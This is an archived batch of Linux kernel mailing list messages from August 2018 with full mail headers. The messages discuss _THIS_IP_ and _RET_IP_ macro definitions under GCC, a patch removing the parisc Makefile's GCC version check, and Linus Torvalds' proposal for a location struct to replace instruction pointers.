 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO);
 Sun, 26 Aug 2018 16:20:25 -0700
In-Reply-To: <6ca8a1d3-ff95-e9f4-f003-0a5af85bcb6f@zytor.com>
Content-Language: en-US
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180826_162216_443150_83902B69 
X-CRM114-Status: GOOD (  17.08  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [198.137.202.136 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4232 gmane.linux.ports.mips.general:66188 gmane.linux.ports.sh.devel:57407 gmane.linux.kernel:2853515 gmane.linux.ports.m68k:10221 gmane.linux.ports.ia64:29122 gmane.linux.ports.hexagon:1819 gmane.linux.ports.arm.kernel:670198 gmane.linux.ports.parisc:28911 gmane.linux.ports.alpha:5208 gmane.linux.ports.sparc:28236 gmane.linux.ports.riscv:536 gmane.linux.ports.ppc64.devel:161668
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4232>

On 08/26/18 12:30, H. Peter Anvin wrote:
> Here is a full-blown (user space) test program demonstrating the whole
> technique and how to use it.
> 
> 	-hpa

Incidentally, it looks like _RET_IP_ really should be defined as:


/*
 * Is there any reason whatsoever to have _RET_IP_ an unsigned int
 * rather than a pointer throughout?
 */

#define _RET_IP_PTR_ \
	__builtin_extract_return_addr(__builtin_return_addr(0))
#define _RET_IP_ ((unsigned long)_RET_IP_PTR_)

On some architectures __builtin_extract_return_addr() is apparently
necessary; its a nop on x86.  Why that isn't part of
__builtin_return_addr() one can really wonder.

So, checking into all of this, the generic _THIS_IP_ DOES NOT WORK on
x86.  I have tried a tons of variants, including adding various asm
volatile(...) instructions, and no matter what I do, it will always
return the address of the surrounding function rather than any kind of
local IP.  The only way to get a localized address seems to be in
assembly, but even so, there is absolutely no guarantee that the value
of _THIS_IP_ has anything to do with where the code is otherwise
localized in the function.

>From examining the output of gcc, the fundamental problem seems to be
that *no matter what* one do with the label, unless gcc actually
produces a computed goto somewhere in the code, that it can't remove
with dead-code elimination or constant propagation, it will arbitrarily
hoist the labels all the way to the beginning of the function. Given
that, I suspect that other versions of gcc might have similar problems.

This is the closest thing to arch-neutral I have been able to find that
also works on x86, while not at the same time horribly polluting the
namespace:

#define __here(n) ___here_ ## n
#define __hereasm(n) ".L___here_" #n
#define _THIS_IP_CTR_(n)					\
	({							\
		extern const char __here(n) asm(__hereasm(n));	\
		asm volatile(__hereasm(n) ": /* _THIS_IP_ */"); \
		(unsigned long)&__here(n);			\
	})
#define _THIS_IP_ _THIS_IP_CTR_(__COUNTER__)

The use of asm volatile() to define a label means that the position in
the instruction stream is at least reasonably well-defined.

	-hpa

From - Thu Nov 08 21:41:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Masahiro Yamada <yamada.masahiro@socionext.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] parisc: remove check for minimum required GCC version
Date: Mon, 27 Aug 2018 11:28:08 +0900
Lines: 32
Approved: news@gmane.org
Message-ID: <1535336888-12183-1-git-send-email-yamada.masahiro@socionext.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1535336813 23164 195.159.176.226 (27 Aug 2018 02:26:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 27 Aug 2018 02:26:53 +0000 (UTC)
Cc: Masahiro Yamada <yamada.masahiro@socionext.com>,
        linux-kernel@vger.kernel.org
To: "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 27 04:26:49 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fu7Eu-0005vx-Ot
	for glk-linux-kernel-4@m.gmane.org; Mon, 27 Aug 2018 04:26:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727158AbeH0GN2 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 27 Aug 2018 02:13:28 -0400
Original-Received: from conuserg-07.nifty.com ([210.131.2.74]:39332 "EHLO
        conuserg-07.nifty.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726926AbeH0GN1 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 27 Aug 2018 02:13:27 -0400
Original-Received: from pug.e01.socionext.com (p14092-ipngnfx01kyoto.kyoto.ocn.ne.jp [153.142.97.92]) (authenticated)
        by conuserg-07.nifty.com with ESMTP id w7R2SIW7018677;
        Mon, 27 Aug 2018 11:28:19 +0900
DKIM-Filter: OpenDKIM Filter v2.10.3 conuserg-07.nifty.com w7R2SIW7018677
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=nifty.com;
        s=dec2015msa; t=1535336899;
        bh=RQt8XGarQHrdI24EZgxunoPdnuXMQ6n80w7QzG/VQNE=;
        h=From:To:Cc:Subject:Date:From;
        b=xC4uWdk6reh+QtqUX8OBa1CmsEB+ifAY8L7I+w3suddlItgz74mdUZGWedkrmVyUZ
         ca2W78b+AG1VN7d/y4m276y9mN2q0qgJE8dL37Mel2I910O4vLG2nV+Fe5JRUfkrX/
         WEw6auBAz/Q+wZ6ONFtD6V1YT5YyGjP8xdsc00avW1XkHmLe3fq3Co/OZPKqlf4p1w
         2ygIvwOZOof63GjWaXWYMsY3qqXqY7TObjk2zRw6zcbebkrh/lBYT424ULRvrqLp4o
         bSsb5l4S20htF7d4VYAkq4h3JENw4sxQidiX7O0inP8zJ55BvGied08O10b/SWSzP9
         3fYQFxkZj4M8g==
X-Nifty-SrcIP: [153.142.97.92]
X-Mailer: git-send-email 2.7.4
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2853556 gmane.linux.ports.parisc:28912
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2853556>

Commit cafa0010cd51 ("Raise the minimum required gcc version to 4.6")
bumped the minimum GCC version to 4.6 for all architectures.

The version check in arch/parisc/Makefile is obsolete now.

Signed-off-by: Masahiro Yamada <yamada.masahiro@socionext.com>
---

 arch/parisc/Makefile | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 5ce0302..d047a09 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -156,12 +156,3 @@ define archhelp
 	@echo  '		  copy to $$(INSTALL_PATH)'
 	@echo  '  zinstall	- Install compressed vmlinuz kernel'
 endef
-
-# we require gcc 3.3 or above to compile the kernel
-archprepare: checkbin
-checkbin:
-	@if test "$(cc-version)" -lt "0303"; then \
-		echo -n "Sorry, GCC v3.3 or above is required to build " ; \
-		echo "the kernel." ; \
-		false ; \
-	fi
-- 
2.7.4



From - Thu Nov 08 21:41:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nick Desaulniers <ndesaulniers@google.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] treewide: remove current_text_addr
Date: Sun, 26 Aug 2018 19:52:59 -0700
Lines: 63
Approved: news@gmane.org
Message-ID: <CAKwvOd=wAaPBkFHAcWxgMW91a--9gbvu7xrt3j-q8c+-mT=7Lw@mail.gmail.com>
References: <CAKwvOdkWL_2yTnJqM6n6R9UCPwY4iz-9BQYGN2MDAk9EzumUvA@mail.gmail.com>
 <20180821202900.208417-1-ndesaulniers@google.com>
 <207784db-4fcc-85e7-a0b2-fec26b7dab81@gmx.de>
 <c62e4e00-fb8f-19a6-f3eb-bde60118cb1a@zytor.com>
 <81141365-8168-799b-f34f-da5f92efaaf9@zytor.com>
 <7f49eeab-a5cc-867f-58fb-abd266f9c2c9@zytor.com>
 <6ca8a1d3-ff95-e9f4-f003-0a5af85bcb6f@zytor.com>
 <CA+55aFzuSCKfmgT9efHuwtan+m3+bPh4BpwbZwn5gGX_H=Thuw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1535338298 32249 195.159.176.226 (27 Aug 2018 02:51:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 27 Aug 2018 02:51:38 +0000 (UTC)
Cc: nicolas.pitre@linaro.org, linux-mips@linux-mips.org,
 linux-sh@vger.kernel.org, benh@kernel.crashing.org,
 Will Deacon <will.deacon@arm.com>, paulus@samba.org, mpe@ellerman.id.au,
 jejb@parisc-linux.org, Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, gor@linux.vnet.ibm.com,
 mattst88@gmail.com, uclinux-h8-devel@lists.sourceforge.jp,
 Marc Zyngier <marc.zyngier@arm.com>, linuxram@us.ibm.com,
 linux-um@lists.infradead.org, Nicholas Piggin <npiggin@gmail.com>,
 luto@kernel.org, shannon.nelson@oracle.com,
 Thomas Gleixner <tglx@linutronix.de>, alex.bennee@linaro.org, rth@twiddle.net,
 jkosina@suse.cz, LKML <linux-kernel@vger.kernel.org>, ralf@linux-mips.org,
 rkuo@codeaurora.org, paul.burton@mips.com, aneesh.kumar@linux.vnet.ibm.com,
 Greg KH <gregkh@linuxfoundation.org>,
 Andrew Morton <akpm@linux-foundation.org>, Mark Rutland <mark.rutland@arm.co
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Mon Aug 27 04:51:24 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1fu7ch-00082a-Uu
	for gla-linux-snps-arc@m.gmane.org; Mon, 27 Aug 2018 04:51:24 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:To:Subject:Message-ID:Date:From:
	In-Reply-To:References:MIME-Version:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=cULJrPtmM1b4W2U0LvVD+GjfSzRL+JDllas16otFVyg=; b=C+rs3AuV0/EDqE
	4ZcobNqI3XIU6jqaS0fjDMes39R3jIQ3glrBH0iyOgYrlU3SPqNd9a8Ef2/zgT0DI1C6FnVX+Bcgx
	GGIDj4WV0ACmwQTEJKeykujBmi0bwQHpygTxDfjgbfFkP4jLHPreN4sF4Lb0G3sUXKvItkpZIP9x3
	ruAIebmBrJauwKpk5RsT6tvrso7FPjaxdr+7KBuqd7FVnLRajri+qDcDv+QgQregbLwh3kt7ckS7G
	VjYBEwvDMQ8cCyiHi+7xrAxmUGQ1MmJGM/ihIxlkcYLccNFYpmRFpD69sxT2jR8loxV/txbzs+D85
	fw5A8+qc4VqF7tu0v0Iw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fu7el-0007R9-9L; Mon, 27 Aug 2018 02:53:31 +0000
Original-Received: from mail-pf1-x442.google.com ([2607:f8b0:4864:20::442])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fu7eh-0007P1-B5
 for linux-snps-arc@lists.infradead.org; Mon, 27 Aug 2018 02:53:29 +0000
Original-Received: by mail-pf1-x442.google.com with SMTP id h69-v6so7011405pfd.4
 for <linux-snps-arc@lists.infradead.org>; Sun, 26 Aug 2018 19:53:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20161025;
 h=mime-version:references:in-reply-to:from:date:message-id:subject:to
 :cc; bh=keXki3Y0ctxQU8En/ZDvhlqz9htVZjFX/Ff0hNgeYLw=;
 b=KsztWflzrov0wTXTHfYL/MuxSnUmEqyBMJ195NC1G8t2zzIyAlGzs99tkUwT7gUxon
 XMCuExX9KMBXS8lYjRH0IH9Lo2ErBmDhdOtMSXyIv0B1L+M5n+xB66BL2nzm0DveQ1Tb
 0x3it+H2ZX2Vww2c34pzoTh4dZ9HcWvYTxu+hAf+B6b5arA9f/WghudB46otncHZiXZ2
 a274FO2MJtd4PWoNLxtIi6rTepN99zGLxaNXuoUgXezXKcPQV3zux6+ZvmTOhzM9+lzt
 uBH1JF9HTDCdI8kJIl/7zpYrq1IepFE9P17m5lV9NWllssPhoIksx4wL7t3aOrSzMsOy
 s8JQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:references:in-reply-to:from:date
 :message-id:subject:to:cc;
 bh=keXki3Y0ctxQU8En/ZDvhlqz9htVZjFX/Ff0hNgeYLw=;
 b=hptOpEPTrpT/kbTx0KRFl40zSkjE3UX3Q4QB47riD/qfZecvzO5PTnnhLAj3EvuiTx
 duaH7EW4LmO3HNuFh76vV8V9RItuP1QHXlw/uZ544kvsqTEt58egkmFzd0vCnvJ/r75k
 VWDhuFZ6TmFYD4hyUYdKWxa6BDx9wVGjXGqkwvqzs1Cw+7hmefAoYx/owbuH4YEvRTz+
 JcsuGIASClbNT5dbJEMira1byfgx3lvGy/lucYzcuZkbrzScxB5+fF21PmxW0Vg5mTil
 PtTzFC8Ny7FNOD8eMHToO1CXi5PJ7JB9QtihriVPuOs2J5OrNvpY+B+TmNcD1YGP+vvh
 sQ7A==
X-Gm-Message-State: APzg51Bb0HTfHEu6ugkM6dp8S03zdRW2i4fBgNHaaUWtw5R9S+m2TWma
 IgeVaB0i1P09r84xf9zKAQxKwsSu6tEIS6ezpGbvLA==
X-Google-Smtp-Source: ANB0VdZF+gGxsKRxRY9bM06HuXqLGH/rz2QKZNDEqGSK+4s18rXIDJ80sbLg7tStwJIw0v+Qa+LZN+W+OXtfSexGMTM=
X-Received: by 2002:a63:c245:: with SMTP id
 l5-v6mr10407374pgg.255.1535338391224; 
 Sun, 26 Aug 2018 19:53:11 -0700 (PDT)
In-Reply-To: <CA+55aFzuSCKfmgT9efHuwtan+m3+bPh4BpwbZwn5gGX_H=Thuw@mail.gmail.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180826_195327_415585_8F9FACD7 
X-CRM114-Status: GOOD (  20.16  )
X-Spam-Score: -15.6 (---------------)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-15.6 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:442 listed in] [list.dnswl.org]
 -7.5 USER_IN_DEF_SPF_WL     From: address is in the default SPF white-list
 -7.5 USER_IN_DEF_DKIM_WL    From: address is in the default DKIM white-list
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.5 ENV_AND_HDR_SPF_MATCH  Env and Hdr From used in default SPF WL Match
 -0.0 T_DKIMWL_WL_MED        DKIMwl.org - Whitelisted Medium sender
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4234 gmane.linux.ports.mips.general:66190 gmane.linux.ports.sh.devel:57408 gmane.linux.kernel:2853560 gmane.linux.ports.m68k:10222 gmane.linux.ports.ia64:29123 gmane.linux.ports.hexagon:1820 gmane.linux.ports.arm.kernel:670210 gmane.linux.ports.parisc:28913 gmane.linux.ports.alpha:5209 gmane.linux.ports.sparc:28237 gmane.linux.ports.riscv:543 gmane.linux.ports.ppc64.devel:161671
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4234>

On Sun, Aug 26, 2018 at 1:25 PM Linus Torvalds
<torvalds@linux-foundation.org> wrote:
> Honestly, I'd suggest:
>
>  - just do the current_text_addr() to _THIS_IP_ conversion
>
>  - keep _THIS_IP_ and make it be the generic one, and screw the whole
> "some architectures might implement is better" issue. Nobody cares.

And mention it to the compiler vendors as this seems like a case where
code gen can be improved.

>
>  - try to convince people to move away from the "we want the kernel
> instruction pointer for the call" model entirely, and consider this a
> "legacy" issue.
>
> The whole instruction pointer is a nasty thing. We should discourage
> it and not make complex infrastructure for it.

Yes, please.  I think we should strive for simplicity here.

>
> Instead, maybe we could encourage something like
>
>   struct kernel_loc { const char *file; const char *fn; int line; };
>
>   #define __GEN_LOC__(n) \
>         ({ static const struct kernel_loc n = { \
>                 __FILE__, __FUNCTION__, __LINE__  \
>            }; &n; })
>
>   #define _THIS_LOC_ __GEN_LOC__(__UNIQUE_ID(loc))
>
> which is a hell of a lot nicer to use, and actually allows gcc to
> optimize things (try it: if you pass a _THIS_LOC_ off to an inline
> function, and that inline function uses the name and line number, gcc
> will pick them up directly, without the extra structure dereference.
>
> Wouldn't it be much nicer to pass these kinds of "location pointer"
> around, rather than the nasty _THIS_IP_ thing?
>
> Certainly lockdep looks like it could easily take that "const struct
> kernel_loc *" instead of "unsigned long ip". Makes it easy to print
> out the lockdep info.
>
> Ok, I didn't try to convert anybody, so maybe people who currently use
> _THIS_IP_ or current_text_addr() have some fundamental reason why they
> want just that, but let's not male _THIS_IP_ more complex than it
> needs to be.
>
> Hmm?
>
>              Linus

This is extremely reasonable.  I can follow up with the lockdep folks
to see if they really need _THIS_IP_ to solve their problem, or if
there's a simpler solution that can solve their needs.  Sometimes
taking a step back and asking for clarity around the big picture
allows simpler solutions to shake out.
-- 
Thanks,
~Nick Desaulniers

From - Thu Nov 08 21:41:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] treewide: remove current_text_addr
Date: Mon, 27 Aug 2018 09:33:58 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20180827073358.GV24124@hirez.programming.kicks-ass.net>
References: <CAKwvOdkWL_2yTnJqM6n6R9UCPwY4iz-9BQYGN2MDAk9EzumUvA@mail.gmail.com>
 <20180821202900.208417-1-ndesaulniers@google.com>
 <207784db-4fcc-85e7-a0b2-fec26b7dab81@gmx.de>
 <c62e4e00-fb8f-19a6-f3eb-bde60118cb1a@zytor.com>
 <81141365-8168-799b-f34f-da5f92efaaf9@zytor.com>
 <7f49eeab-a5cc-867f-58fb-abd266f9c2c9@zytor.com>
 <6ca8a1d3-ff95-e9f4-f003-0a5af85bcb6f@zytor.com>
 <CA+55aFzuSCKfmgT9efHuwtan+m3+bPh4BpwbZwn5gGX_H=Thuw@mail.gmail.com>
 <CAKwvOd=wAaPBkFHAcWxgMW91a--9gbvu7xrt3j-q8c+-mT=7Lw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1535355154 6036 195.159.176.226 (27 Aug 2018 07:32:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 27 Aug 2018 07:32:34 +0000 (UTC)
User-Agent: Mutt/1.10.0 (2018-05-17)
Cc: nicolas.pitre@linaro.org, linux-mips@linux-mips.org,
 linux-sh@vger.kernel.org, benh@kernel.crashing.org,
 Will Deacon <will.deacon@arm.com>, paulus@samba.org, mpe@ellerman.id.au,
 jejb@parisc-linux.org, Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, gor@linux.vnet.ibm.com,
 mattst88@gmail.com, uclinux-h8-devel@lists.sourceforge.jp,
 Marc Zyngier <marc.zyngier@arm.com>, linuxram@us.ibm.com,
 linux-um@lists.infradead.org, Nicholas Piggin <npiggin@gmail.com>,
 luto@kernel.org, shannon.nelson@oracle.com,
 Thomas Gleixner <tglx@linutronix.de>, alex.bennee@linaro.org, rth@twiddle.net,
 jkosina@suse.cz, LKML <linux-kernel@vger.kernel.org>, ralf@linux-mips.org,
 rkuo@codeaurora.org, paul.burton@mips.com, aneesh.kumar@linux.vnet.ibm.com,
 Greg KH <gregkh@linuxfoundation.org>,
 Andrew Morton <akpm@linux-foundation.org>,
 Linus Torvalds <torvalds@linux-f
To: Nick Desaulniers <ndesaulniers@google.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Mon Aug 27 09:32:20 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1fuC0Y-0001C5-Qh
	for gla-linux-snps-arc@m.gmane.org; Mon, 27 Aug 2018 09:32:19 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=4niXgHCOpGFR7j3IAOiZMy+VHLpilhm80al93VoLw74=; b=iTL+tWesLHbPDX
	2IVtKNmWhpdVBuMs53XCDs5rh+hYurm/NdlzdSnAZGzeflxbNHn3XrQ4xr8xt/hZvZU6tB8lBSc5b
	4Yra8MzFnzmEi84XlyENgCdz29r9tIY1r/O0MxKEZfziJwcoIZusKyhxq+KTZcw8ObvniPORJFdzh
	Xu2pvT4lNyxCBIz46pCOoGYk4zve+YSdvWcWk7D7TrV9Z8tMMSxLBTO18S3O55+VNZxlD5fAfDuwW
	SBgM00RVefMk1Oo9MAodPDe2bPX5PoXR6VFI3RLrQgYDGsE/0AQ0bXs4ySjrz0XHc0jmopUcue1My
	iHrcsRJcgzfhv1MFrEeA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fuC2c-00051D-6B; Mon, 27 Aug 2018 07:34:26 +0000
Original-Received: from merlin.infradead.org ([2001:8b0:10b:1231::1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fuC2a-00050g-Q0; Mon, 27 Aug 2018 07:34:24 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=infradead.org; s=merlin.20170209; h=In-Reply-To:Content-Type:MIME-Version:
 References:Message-ID:Subject:Cc:To:From:Date:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=qVUB9DNmoBMYfA2lysb8di+NzDA545oCrL4rBL3z5pI=; b=qAQYFyXrkfBtZHb1RWBXddJzi
 ak6iWmHPtN7UAJdK8firITUhKuoRTGkaWeuP0PMYHKt1MRjRDZKAyoofvlKig9tCbmUYps9Uq6+EX
 ZbB2ljXYVam2DTIiN51Rjt19mNL3AIQ+RY/ban5nMO5uRZSbenGi/WiC5lS2a7JUQU7IO47G2cwpB
 LIuxpK8mcZf38eFxbuGL5qyfKZN3Tat6qz73Aipz2UXffUuLNIXd6U/6x+THDhJnYIpe93pBYX4vS
 lypQaS9dJVo0ToybQ6LR2K3oVWLb5YS04r58DfAKpwhj1dAd7Lbqac8fCexmXZ0hTxfaGOhHrNtsS
 NW74AUo4Q==;
Original-Received: from j217100.upc-j.chello.nl ([24.132.217.100]
 helo=hirez.programming.kicks-ass.net)
 by merlin.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fuC2D-0000Tq-Jp; Mon, 27 Aug 2018 07:34:02 +0000
Original-Received: by hirez.programming.kicks-ass.net (Postfix, from userid 1000)
 id 065722024D700; Mon, 27 Aug 2018 09:33:58 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <CAKwvOd=wAaPBkFHAcWxgMW91a--9gbvu7xrt3j-q8c+-mT=7Lw@mail.gmail.com>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
